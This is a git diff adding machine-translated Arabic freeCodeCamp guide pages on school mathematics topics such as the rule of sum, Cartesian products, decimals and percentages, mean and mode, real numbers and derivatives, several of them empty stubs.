+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/rule-of-sum/index.md b/client/src/guide/arabic/mathematics/counting/rule-of-sum/index.md
new file mode 100644
index 0000000000..6a218ecbfd
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/rule-of-sum/index.md
@@ -0,0 +1,7 @@
+---
+title: Rule of Sum
+localeTitle: حكم المجموع
+---
+## حكم المجموع
+
+ولكي نقول ببساطة ، تنص قاعدة السوابق أنه إذا كان لدينا طرق لفعل شيء وبطرق لفعل شيء آخر ولا يمكننا القيام بهما في نفس الوقت ، فهناك طرق A + B لاختيار أحد الإجراءات. مبدأ العد الأساسي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/counting/tree-diagrams/index.md b/client/src/guide/arabic/mathematics/counting/tree-diagrams/index.md
new file mode 100644
index 0000000000..02163ca2ac
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/counting/tree-diagrams/index.md
@@ -0,0 +1,11 @@
+---
+title: Tree Diagrams
+localeTitle: مخططات شجرة
+---
+## مخططات شجرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/tree-diagrams/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/cramers-rule/index.md b/client/src/guide/arabic/mathematics/cramers-rule/index.md
new file mode 100644
index 0000000000..7358d7b20a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/cramers-rule/index.md
@@ -0,0 +1,11 @@
+---
+title: Cramers Rule
+localeTitle: Cramers القاعدة
+---
+## Cramers القاعدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cramers-rule/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/cross-multiply/index.md b/client/src/guide/arabic/mathematics/cross-multiply/index.md
new file mode 100644
index 0000000000..0d8feb3082
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/cross-multiply/index.md
@@ -0,0 +1,11 @@
+---
+title: Cross Multiply
+localeTitle: عبور مضاعفة
+---
+## عبور مضاعفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cross-multiply/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/cross-product/index.md b/client/src/guide/arabic/mathematics/cross-product/index.md
new file mode 100644
index 0000000000..e30b944556
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/cross-product/index.md
@@ -0,0 +1,30 @@
+---
+title: Cross Product
+localeTitle: المنتوج الوسيط
+---
+## المنتوج الوسيط
+
+في نظرية المجموعات ، يكون المنتج المتقاطع لمجموعتين هو عملية ثنائية يتم تنفيذها على مجموعات ، والتي تقوم بإنتاج مجموعة نتائج. يُشار إليه بالرمز X. أحيانًا يطلق عليه أيضًا المنتج الديكارتي بعد رياضيات رينيه ديكارت.
+
+ `
+ AXB = {(a, b) | a &isin; A and b &isin; B} 
+` 
+
+### أمثلة
+
+ `let us have, 
+  set A = {a, b} 
+ & set B = {1, 2} 
+ then AXB = {(a, 1), (a, 2), 
+               (b, 1), (b, 2)} 
+` 
+
+### استعمال
+
+يتم استخدامه لتوليد جميع التركيبات الممكنة بعد الجمع بين جدولين في قاعدة بيانات.
+
+### المراجع
+
+[ويكيبيديا المادة](https://en.wikipedia.org/wiki/Cartesian_product)
+
+[ووفرام ألفا](https://www.wolframalpha.com/input/?i=Cartesian+product&lk=1&a=ClashPrefs_*MathWorld.CartesianProduct-)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/cylinder-volume-and-surface-area/index.md b/client/src/guide/arabic/mathematics/cylinder-volume-and-surface-area/index.md
new file mode 100644
index 0000000000..26f4c2cfe0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/cylinder-volume-and-surface-area/index.md
@@ -0,0 +1,11 @@
+---
+title: Cylinder Volume and Surface Area
+localeTitle: حجم الاسطوانة والمساحة
+---
+## حجم الاسطوانة والمساحة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cylinder-volume-and-surface-area/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/decimals-fractions-and-percentages/index.md b/client/src/guide/arabic/mathematics/decimals-fractions-and-percentages/index.md
new file mode 100644
index 0000000000..04ad719f1a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/decimals-fractions-and-percentages/index.md
@@ -0,0 +1,55 @@
+---
+title: Decimals Fractions and Percentages
+localeTitle: الكسور العشرية والنسب المئوية
+---
+## الكسور العشرية والنسب المئوية
+
+الأرقام العشرية والكسور والنسب المئوية هي إشارات مختلفة لتمثيل "أجزاء من الكل".
+
+دعونا نبدأ بأمثلة من العالم الحقيقي:
+
+3.5 أضعاف الحجم 2/3 من البيتزا 20٪ ربح
+
+لاحظ شيئًا واحدًا في الأمثلة المذكورة أعلاه: جميعها تمثل بعض الكميات كأجزاء من الكل.
+
+### تحويل الكسور العشرية والكسور والنسب المئوية
+
+#### النسبة المئوية إلى عشري
+
+للتحويل من النسبة المئوية إلى العلامة العشرية ، ما عليك سوى تحريك موضعتي الفاصلة العشرية إلى اليسار وتجاهل رمز النسبة المئوية:
+
+على سبيل المثال 25 ٪ يصبح 0.25 على سبيل المثال 5 ٪ يصبح 0.05 على سبيل المثال 34.23 ٪ يصبح 0.3423
+
+#### النسبة المئوية إلى الكسر
+
+تذكر أن النسبة `per cent` تعني `per cent` `per hundred` . لذلك ، للتحويل من النسبة المئوية إلى الكسر ، ضع الرقم المذكور في المائة فوق 100 وتجاهل رمز النسبة المئوية ثم ببساطة الجزء الناتج إذا أمكن:
+
+على سبيل المثال 55٪ يصبح 55/100 يساوي 11/20 على سبيل المثال 75 ٪ يصبح 75/100 أي ما يعادل 3/4
+
+#### العشري إلى النسبة المئوية
+
+للتحويل من عشري إلى آخر ، ما عليك سوى تحريك النقطة العشرية لموضعين إلى اليمين وإضافة رمز النسبة المئوية:
+
+على سبيل المثال ، 0.25 يصبح 25٪ على سبيل المثال ، 0.05 يصبح 5٪ على سبيل المثال 0.3423 يصبح 34.23٪
+
+#### عشري إلى كسر
+
+للتحويل من عشري إلى كسر ، ضع في اعتبارك أن الرقم الأول إلى يمين النقطة العشرية هو رقم العشرة ، وهكذا فإن الرقم الأول إلى يسار الفاصلة العشرية هو رقم الوحدات وهكذا. خذ بعين الاعتبار الرقم 137.634
+
+| 1 | 3 | 7 | | 6 | 3 | 4 | | : -----------: |: -------------: | : -------------: |: -------------: | : -------------: | : -------------: | : -------------: | | المئات | عشرات الوحدات | | أعشار | هوندرديثس | الألف |
+
+يجب أن يتطابق عدد الأصفار في المقام مع عدد الأرقام في العلامة العشرية (لا تقم بتضمين 0 ممكن أمام العلامة العشرية):
+
+على سبيل المثال 0.4 هي أربعة أعشار تساوي 4/10 على سبيل المثال ، 0.34 عبارة عن أربعة وثلاثين (104) يساوي 34/100 على سبيل المثال ، 0.009 هو 9 آلاف أي ما يعادل 9/1000
+
+#### جزء إلى عشري
+
+للتحويل من كسر إلى عشري ، قسّم البسط بواسطة المقام:
+
+على سبيل المثال ، 5/8 هي 5 مقسومة على 8 والتي تساوي 0.625 على سبيل المثال ، 3/4 3 مقسومة على 4 تساوي 0.75
+
+#### جزء إلى نسبة
+
+للتحويل من كسر إلى a perent ، قم أولاً بتحويل الكسر إلى عشري وعشري resulatant إلى النسبة المئوية باستخدام الخطوات المذكورة أعلاه:
+
+مثال: 1/2 هو 0.50 أي يساوي 50٪ على سبيل المثال ، 4/5 هي 0.80 والتي تساوي 80٪
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/definition-of-factor/index.md b/client/src/guide/arabic/mathematics/definition-of-factor/index.md
new file mode 100644
index 0000000000..218a1f8ed8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/definition-of-factor/index.md
@@ -0,0 +1,19 @@
+---
+title: Definition of Factor
+localeTitle: تعريف عامل
+---
+## تعريف عامل
+
+العوامل هي رقمين يمكن أن نتكاثر معًا للحصول على رقم آخر. على سبيل المثال ، 2 \* 10 = 20 ، لذا فإن 2 و 10 هما عاملان من 20.
+
+غالبًا في الجبر ، نريد أن نعالج التعبيرات. خذ (x ^ 2 + 4x +3) ، في الشكل Ax ^ 2 + Bx + C من أجل عامل هذا عن طريق البحث عن رقمين يتضاعف إلى C يساوي ويضاف إلى تساوي C. 3 و 4 تضيف ما يصل إلى 4 وتتكاثر لتساوي 3.
+
+مع وضع هذا في الاعتبار ، يمكن أخذ (x ^ 2 + 4x +3) في الاعتبار (x + 3) (x + 1).
+
+يمكن تعريف عامل بطريقتين. الأول هو في الضرب. خذ _3 \* 4 = 12_ . هنا _3_ و _4_ هي عوامل ، ومعا جعل المنتج. طريقة أخرى يمكن تعريف عامل هو إذا كان الباقي على تقسيم يساوي 0. خذ الرقم 12. إذا كنا نقسم 12 في 4 _12/4 = 3_ الباقي هو 0. لا توجد مسافات عشرية ، وبالتالي 4 هو _عامل من_ 12. وبالمثل ، إذا فعلنا ذلك _12/3 = 4_ كما نحصل على ما تبقى من 0. لذلك ، كلاهما 3 و 4 هما عاملان من 12.
+
+يمكننا تبسيط ذلك واستخدام _٪_ كوظيفة modulo. هذا سيعطينا _12٪ 3 = 0_ لأن الدالة modulo بإرجاع الباقي على القسمة ، أي رقم إرجاع 0 عند استخدام modulo هو عامل الرقم الآخر.
+
+#### معلومات اكثر:
+
+[إليك رابط](https://www.khanacademy.org/math/pre-algebra/pre-algebra-factors-multiples/pre-algebra-factors-mult/v/finding-factors-of-a-number) لفيديو سريع يشرح أرقام التخصيم تعرف على المزيد حول معالجة التعابير [هنا](https://www.khanacademy.org/math/pre-algebra/pre-algebra-factors-multiples/pre-algebra-factors-mult/v/finding-factors-and-multiples)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/definition-of-mean/index.md b/client/src/guide/arabic/mathematics/definition-of-mean/index.md
new file mode 100644
index 0000000000..a8ba493ef9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/definition-of-mean/index.md
@@ -0,0 +1,28 @@
+---
+title: Definition of Mean
+localeTitle: تعريف المتوسط
+---
+## تعريف المتوسط
+
+في الإحصاء ، يشير المصطلح _يعني_ إلى قيمة "المتوسط" في مجموعة من البيانات. يمكنك العثور على هذه القيمة عن طريق جمع كل الأرقام ثم قسمة العدد الإجمالي للقيم في المجموعة.
+
+المتوسط ​​هو متوسط ​​قيمة مجموعة البيانات.
+
+يتم حساب القيمة المتوسطة عن طريق إضافة كل رقم في مجموعة من البيانات وتقسيم ذلك الإجمالي على مقدار الأرقام في مجموعة البيانات.
+
+![مثال على حساب متوسط](https://github.com/tribalizzles/FreeCodeCamp-projects/blob/master/Mean_Calculation.png?raw=true)
+
+### مثال
+
+متوسط ​​(5 ، 8 ، 10 ، 12 ، 15) هو 8:
+
+_لإيجاد المتوسط ​​سنجد مجموع كل هذه الأرقام (40) و قسّمها على عدد القيم في المجموعة (5). 40/5 هو 8 ، وهو متوسط ​​القيمة في المجموعة._
+
+### الوسيط والوضع
+
+غالباً ما يتم الخلط بين [الوسط والمتوسط](https://en.wikipedia.org/wiki/Median) ، والقيمة في منتصف المجموعة [والوضع](https://guide.freecodecamp.org/mathematics/definition-of-mode) ، والقيمة التي تحدث بشكل متكرر في المجموعة.
+
+### معلومات اكثر
+
+*   [تعريف المتوسط](http://www.mathsisfun.com/definitions/mean.html)
+*   [كيفية حساب المتوسط](http://www.mathsisfun.com/mean.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/definition-of-mode/index.md b/client/src/guide/arabic/mathematics/definition-of-mode/index.md
new file mode 100644
index 0000000000..90f9737569
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/definition-of-mode/index.md
@@ -0,0 +1,44 @@
+---
+title: Definition of Mode
+localeTitle: تعريف الوضع
+---
+## تعريف الوضع
+
+في الإحصائيات ، يشير مصطلح " _وضع_ " إلى القيمة أو القيم في مجموعة من البيانات التي تظهر بشكل متكرر. نظرًا لأنه يحدث غالبًا في مجموعة البيانات ، فإن _الوضع_ هو القيمة الأكثر احتمالاً لتكون عينات عشوائية.
+
+يشير وضع مجموعة من الأرقام إلى القيمة التي تحدث بشكل متكرر في المجموعة. وبالنظر إلى توزيع البيانات ، يمكن وصف الأسلوب بأنه الحد الأقصى لدالة كتلة الاحتمال إذا كانت البيانات منفصلة أو دالة توزيع الاحتمال إذا كانت البيانات مستمرة.
+
+#### يمكن أن تحتوي مجموعة من البيانات على نمط أو أكثر
+
+خذ بعين الاعتبار مجموعة البيانات 14 ، 16 ، 21 ، 33 ، 37 ، 16 ، 39 ، 33 هنا 16 و 33 كل واحد يحدث مرتين. جميع الأرقام الأخرى تحدث مرة واحدة فقط. لذلك فإن 16 و 33 لهما الحد الأقصى من التواتر وهو 2. ومن ثم ، هناك وضعان لمجموعة البيانات المعطاة ، أي 16 و 33. يمكن وصف مجموعة من الأرقام التي يوجد فيها رقمان يحدثان بشكل متكرر ويقال أي عدد أكبر من اثنين أن يكون متعدد الوسائط.
+
+#### من الممكن أيضًا الحصول على مجموعة من البيانات بدون وضع
+
+النظر في مجموعة البيانات 10 ، 15 ، 24 ، 34 ، 38 ، 16 ، 41. هنا كل الأرقام تحدث مرة واحدة فقط. لذلك لا يوجد عدد واحد لديه الحد الأقصى من تكرار حدوثها. ومن ثم ، لا يوجد وضع لمجموعة البيانات المعطاة هذه.
+
+## قواعد للعثور على وضع مجموعة البيانات
+
+*   افحص جميع أرقام مجموعة البيانات واكتشف ما إذا كان هناك رقم واحد أو أكثر يحدث أكثر من مرة.
+*   الرقم مع الحد الأقصى لتردد حدوث هو الوضع.
+*   إذا كان هناك أكثر من رقم واحد له تردد أقصى ، فهناك أكثر من وضع واحد لمجموعة البيانات.
+*   في حالة حدوث جميع أرقام مجموعة البيانات مرة واحدة فقط ، فلن يكون هناك وضع لمجموعة البيانات.
+
+#### مثال
+
+وضع (1 ، 2 ، 3 ، 2 ، 4 ، 5) هو **2** :
+
+_للعثور على الوضع ، يجب أن تحتسب عدد مرات حدوث كل قيمة في مجموعة البيانات. تظهر القيمة 2 مرتين في مجموعة البيانات ، وتحدث بقية القيم مرة واحدة فقط ، مما يجعل الوضع الثاني._
+
+وضع (7 ، 7 ، 8 ، 8 ، 9) هو 7 **و** 8:
+
+_إذا كان هناك تعادل للقيم التي تحدث بشكل متكرر في مجموعة البيانات ، فإن الوضع هو كل من القيم بهذا التردد._
+
+#### يعني وميدان
+
+غالبًا ما يتم الخلط بين الوضع وبين [المتوسط](https://guide.freecodecamp.org/mathematics/definition-of-mean) ، متوسط ​​القيمة في مجموعة البيانات [الوسيط](https://en.wikipedia.org/wiki/Median) ، القيمة في منتصف مجموعة البيانات.
+
+#### معلومات اكثر:
+
+[ويكيبيديا - الوضع](https://en.wikipedia.org/wiki/Mode_(statistics))
+
+[تعريف الوضع](https://www.tutorialspoint.com/mean_median_and_mode/mode_of_data_set.htm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/definition-of-real-number/index.md b/client/src/guide/arabic/mathematics/definition-of-real-number/index.md
new file mode 100644
index 0000000000..87e49d7ab0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/definition-of-real-number/index.md
@@ -0,0 +1,32 @@
+---
+title: Definition of Real Number
+localeTitle: تعريف الرقم الحقيقي
+---
+## تعريف الرقم الحقيقي
+
+> يمكن اعتبار الأرقام الحقيقية كنقاط على خط طويل بلا حدود.
+
+تتضمن الأرقام الحقيقية جميع الأرقام المنطقية ، مثل _1/2_ و _0_ و _103.644_ و _271/272_ ، بالإضافة إلى جميع الأرقام غير المنطقية ، مثل _pi_ ، والجذر التربيعي لـ 2 ، و _e_ . لاحظ أنه لا يتم تضمين "الأرقام المعقدة" ، والأرقام التي تتضمن الحجم الوهمي غير الصفري.
+
+لذلك ، أي رقم مع تمثيل عشري ، حتى لو كان هذا التمثيل لانهائي ، هو حقيقي ، على _سبيل المثال 1.234567891…_ نلاحظ أن الجذر التربيعي للرقم السالب لا يحتوي على تمثيل عشري ، وبالتالي فإن الجذر التربيعي لأي رقم سالب غير حقيقي. فقط يحدث ذلك أن الجذر التربيعي لـ _\-1_ فقط يحدث أن يكون تعريف " _i_ " ، طول الوحدة في نظام الأرقام الخيالية. فيما يلي بعض الخطوط العريضة للطريقة التي يمكن للمرء أن يستنبط بها ويحدد الأرقام الحقيقية ، ولكنه بالتأكيد ليس دليلا رسميا.
+
+النظر في فكرة _1_ ، كيان واحد ، وحدة. دع مجموعة من الأعداد الطبيعية ، وصفها **_N_** بالقواعد:
+
+*   _1_ هو رقم طبيعي
+*   يحتوي كل رقم طبيعي على خلف واحد تمامًا (رقم أكبر من نفسه).
+*   _1_ لا يوجد لديه خليفة.
+
+وهي تحدد مفهوم الفرز ، ومع بعض القواعد الأخرى خارج نطاق هذه المقالة ، يمكن تحديد قواعد مثل الإضافة والإغلاق ضمن هذه المجموعة الجديدة من الأرقام ، **_N._** هذه المجموعة ، مع مفهوم _0_ ، تخلق مجموعة من الأعداد الصحيحة. عندما يتم إضافة مفهوم "الرقم السالب" إلى هذه المجموعة من "الأعداد الصحيحة" ، يتم تكوين الأعداد الصحيحة. الرقم السالب هو رقم b مثل _a + b = 0_ ، حيث _a_ في **_N_** (لذلك لا يكون _a_ 0 ولا سلبي بحد ذاته). نسمي هذا الاتحاد من _0_ ، **_N_** ، والأرقام السالبة **_Z_** ، أو _الأعداد الصحيحة_ .
+
+نحن نعرّف الضرب تحت العملية " _\*_ " بحيث يكون مثل _a_ و _b_ في **_Z_** ، ثم _a = b = c_ إذا كان _c = a + ... + a_ ، _b_ مرة. لذلك الضرب في الأعداد الصحيحة هو مجرد مبلغ. لاحظ ، من خلال هذا التعريف ، يمكن أن تتم إضافة عدد سلبي من المرات. نستخدم الآن الضرب لتعريف التقسيم ، والذي سيسمح لنا بتعريف الأرقام المنطقية.
+
+نحدد التقسيم تحت العملية " _/_ " ، بحيث يكون إذا كان _a_ و _b_ في **_Z_** ، ثم _c = a / b_ إذا وفقط إذا كان _a = b \* c + r_ ، حيث _r = 0_ ، و _c_ في **_ض_** . ولكن ماذا لو كان _a = b \* c + r_ ، حيث _0 <r <b_ ؟ ثم _ب_ لا تقسم بالتساوي _لذلك،_ وهذه المعادلة هو غير قابل للحل ضمن لدينا **_Z_** نظام الأرقام. ولكن ماذا لو كانت هذه المعادلة قابلة للحل، ويمكن أعربت _ج_ _كنسبة،_ بحيث _ج = أ / ب_ رغم _ب_ لا يقسم بالتساوي _لذلك؟_ يلمح هذا إلى مجموعة من الأعداد تُعرف بالأرقام _العقلانية_ ، **_Q_** ، التي يمكن التعبير عن أعضاءها كأ _/ ب_ ، حيث _a_ و _b_ في **_Z._** نلاحظ أن جميع الأرقام العشرية للأرقام في **_Q_** إما محدودة أو متكررة.
+
+بعض الأرقام لا يمكن وصفها بأنها نسبة من الأعداد الصحيحة ، ومع ذلك ، مثل الجذر التربيعي 2 ، _pi_ ، و _e_ . جميع الأرقام العشرية غير المتكررة غير المنتهية هي غير عقلانية. هذه الخاصية يحمل لجميع القواعد عقلانية للأرقام ، في الواقع. من خلال "سد الثغرات" بين الأرقام المنطقية مع هذه الأرقام غير المنطقية ، يمكن إنشاء الأرقام الحقيقية **_R._**
+
+يرجى ملاحظة أن أجهزة الكمبيوتر لا تعمل فعليًا بأرقام حقيقية ، بل تعمل أجهزة الكمبيوتر على الأعداد الصحيحة الثنائية التي يمكن استخدامها لتمثيل إما "أرقام عائمة" أو أعداد صحيحة.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا على الأرقام الحقيقية](https://en.wikipedia.org/wiki/Real_number)
+*   [أرقام النقطة العائمة ، IEE-754](https://en.wikipedia.org/wiki/IEEE_754)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/definition-of-rectangular-prism/index.md b/client/src/guide/arabic/mathematics/definition-of-rectangular-prism/index.md
new file mode 100644
index 0000000000..ee05129b7e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/definition-of-rectangular-prism/index.md
@@ -0,0 +1,11 @@
+---
+title: Definition of Rectangular Prism
+localeTitle: تعريف مستطيل بريزم
+---
+## تعريف مستطيل بريزم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/definition-of-rectangular-prism/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/degrees-to-radians/index.md b/client/src/guide/arabic/mathematics/degrees-to-radians/index.md
new file mode 100644
index 0000000000..065b3a9376
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/degrees-to-radians/index.md
@@ -0,0 +1,19 @@
+---
+title: Degrees to Radians
+localeTitle: درجات للراديان
+---
+## درجات للراديان
+
+اضرب الزاوية بـ pi / 180. تذكر أن pi radians تمتد نصف دائرة ، والتي هي 180 درجة. وهنا وظيفة بيثون لتحويل درجات إلى راديان. استمتع!
+
+استيراد الرياضيات  
+درجة صفر _إلى_ راديان (زاوية):  
+زاوية الإرجاع \* math.pi / 180؛
+
+#### معلومات اكثر:
+
+دورة واحدة كاملة = 360 درجة = 2 درجة راديان
+
+1 درجة = 2π / 360 راديان
+
+p درجة = p × 2π / 360 Radians
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/dependent-and-independent-variables/index.md b/client/src/guide/arabic/mathematics/dependent-and-independent-variables/index.md
new file mode 100644
index 0000000000..e7f40e56aa
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/dependent-and-independent-variables/index.md
@@ -0,0 +1,11 @@
+---
+title: Dependent and Independent Variables
+localeTitle: المتغيرات التابعة والمستقلة
+---
+## المتغيرات التابعة والمستقلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/dependent-and-independent-variables/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/derivative-of-2/index.md b/client/src/guide/arabic/mathematics/derivative-of-2/index.md
new file mode 100644
index 0000000000..541fcca240
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/derivative-of-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Derivative of 2
+localeTitle: مشتق من 2
+---
+## مشتق من 2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/derivative-of-2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/derivative/index.md b/client/src/guide/arabic/mathematics/derivative/index.md
new file mode 100644
index 0000000000..b901855e96
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/derivative/index.md
@@ -0,0 +1,49 @@
+---
+title: Derivative
+localeTitle: المشتق
+---
+## المشتق
+
+**التعريف** : يُعرَّف مشتق الدالة f (x) بالنسبة إلى x ، الممثلة بـ f '(x) على النحو التالي:  
+![صيغة الحد لمشتقاتها](http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfDerivative_files/eq0006M.gif)  
+  
+
+حيث h هو تغير طفيف بشكل لا نهائي في قيمة المدخلات ، ممثلة بوظيفة الحد (يقترب من الصفر إلى الصفر)  
+
+في الصيغة المذكورة أعلاه ، نلاحظ أن المشتق هو مجرد منحدر ظل من رسم بياني × عند أي قيمة إدخال.  
+
+**خاصية مهمة للوظيفة ومشتقاتها:**  
+تكون الدالة f (x) قابلة للتفاضل عند x = a ، إذا و ، فقط إذا كانت الوظيفة مستمرة عند f (x = a).  
+وعلى العكس من ذلك ، إذا كانت مشتقة دالة موجودة عند النقطة a ، فيجب أن تكون الدالة متواصلة عند f (x = a).
+
+## خصائص المشتقات
+
+1.  **الخطي**  
+    لنفترض أن f (x) و g (x) هما دالتان مختلفتان ، وأن a و b هما أرقاما حقيقية. ثم الوظيفة  
+    ![Funtion المدخلات](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv589.gif)  
+    هو الاختلاف  
+    ![مشتق الإخراج](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv590.gif)  
+    
+2.  **سيادة المنتج**  
+    بالنسبة لوظيفة معينة h (x) = f (x) \* g (x) ، يمكننا تطبيق قاعدة المنتج للبحث عن مشتق الدالة h (x) مثل  
+    ![سيادة المنتج](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv599.gif)  
+    يرجى الاطلاع على الرابط في مزيد من المعلومات (خصائص مشتق) لإثبات هذه الخاصية  
+    
+3.  **قاعدة الحسم**  
+    تعطي قاعدة الحاصل المشتق لوظيفة واحدة مقسومة على أخرى. دع h (x) = f (x) / g (x) (حيث g (x) لا يمكن أن يكون صفراً) ثم يمكن العثور على مشتق h (x) باستخدام ما يلي:  
+    ![قاعدة الحسم](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv605.gif)  
+    يرجى الاطلاع على الرابط في مزيد من المعلومات (خصائص مشتق) لإثبات هذه الخاصية  
+    
+4.  **قاعدة سلسلة**  
+    تُستخدم قاعدة السلسلة في حالة دالة دالة ، تُعرف أيضًا باسم دالة مركبة أو كتكوين للوظائف. تمثيل وظيفة التمثيل المركب:  
+    ![الوظيفة المركبة](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv609.gif)  
+    ثم يمكن العثور على مشتق الإخراج باستخدام القاعدة التالية:  
+    ![قاعدة سلسلة](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv616.gif)  
+    يرجى الاطلاع على الرابط في مزيد من المعلومات (خصائص مشتق) لإثبات هذه الخاصية  
+    
+
+#### معلومات اكثر:
+
+http://tutorial.math.lamar.edu/Classes/CalcI/DerivativeIntro.aspx http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfDerivative.aspx خصائص المشتقات (بما في ذلك البراهين): http://www.hyper-ad.com/tutoring/math/calculus/Properties _of_ Derivatives.html
+
+**ملاحظة** : الصور مأخوذة من http://www.hyper-ad.com/ و http://tutorial.math.lamar.edu/
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/derivatives/index.md b/client/src/guide/arabic/mathematics/derivatives/index.md
new file mode 100644
index 0000000000..33e3684e25
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/derivatives/index.md
@@ -0,0 +1,43 @@
+---
+title: Derivatives
+localeTitle: المشتقات
+---
+## المشتقات
+
+المشتق هو المعدل الفوري لتغيير وظيفة ، أو معدل تغيير وظيفة في أي لحظة معينة في الوقت المناسب. مشتق هو أداة حساب التفاضل والتكامل ويمكنك تحديد ذلك من خلال اتخاذ حد.
+
+يمكنك فهم مفهوم المشتق بمقارنته بمفهوم المنحدر (متوسط ​​معدل التغيير) في الجبر.
+
+دعونا نلقي نظرة على مثال:
+
+قررت أن تقود سيارتك من سان فرانسيسكو إلى سانتا روزا ، كاليفورنيا - على مسافة 60 ميلاً تقريبًا. أنت تجعل محرك الأقراص في ساعة واحدة. وبالتالي ، فإن معدل التغيير (السرعة) هو 60 ميل في الساعة.
+
+لكنك لم تسافر بمعدل 60 ميل في الساعة لكل لحظة من رحلتك. بدأت بشكل أبطأ ، ثم زادت سرعتك وتفاوتت على طول الطريق ، ثم تباطأت إلى نقطة توقف كاملة عند وصولك إلى وجهتك.
+
+دعونا نلقي نظرة على الرسم البياني لرحلتك ، مع المحور السيني الذي يمثل الوقت (بالدقائق) ومحور y يمثل المسافة (بالأميال). حزب العمال. يمثل A San Francisco ، مع إحداثيات (0 ، 0) و pt. B تمثل سانتا روزا ، مع إحداثيات (60 ، 60). يمثل الخط المنحني موقعك ، في المكان والزمان ، أثناء سفرك من سان فرانسيسكو إلى سانتا روزا.
+
+![صورة](https://github.com/MarkMikow/MyFiles/blob/master/img1.png?raw=true)
+
+يمكنك تحديد متوسط ​​السرعة (معدل التغيير في المسافة لكل مرة) من رحلتك عن طريق أخذ منحدر الجبر ("الارتفاع فوق المدى"):
+
+![صورة](https://github.com/MarkMikow/MyFiles/blob/master/img2.png?raw=true)
+
+باستخدام نفس الرسم البياني ، يمكنك اختيار أي نقطتين ، C (x1، y1) و D (x2، y2) والعثور على الميل بينهما. علاوة على ذلك ، يمكنك تصنيف كل نقطة باستخدام تدوين الدالة ، بحيث تصبح (x1 و y1) (x و f (x)) و (x2 و y2) ((x + h) و f (x + h)) ، مع ح كونها المسافة الأفقية التي pt. D من pt. C:
+
+![صورة](https://github.com/MarkMikow/MyFiles/blob/master/img3.png?raw=true)
+
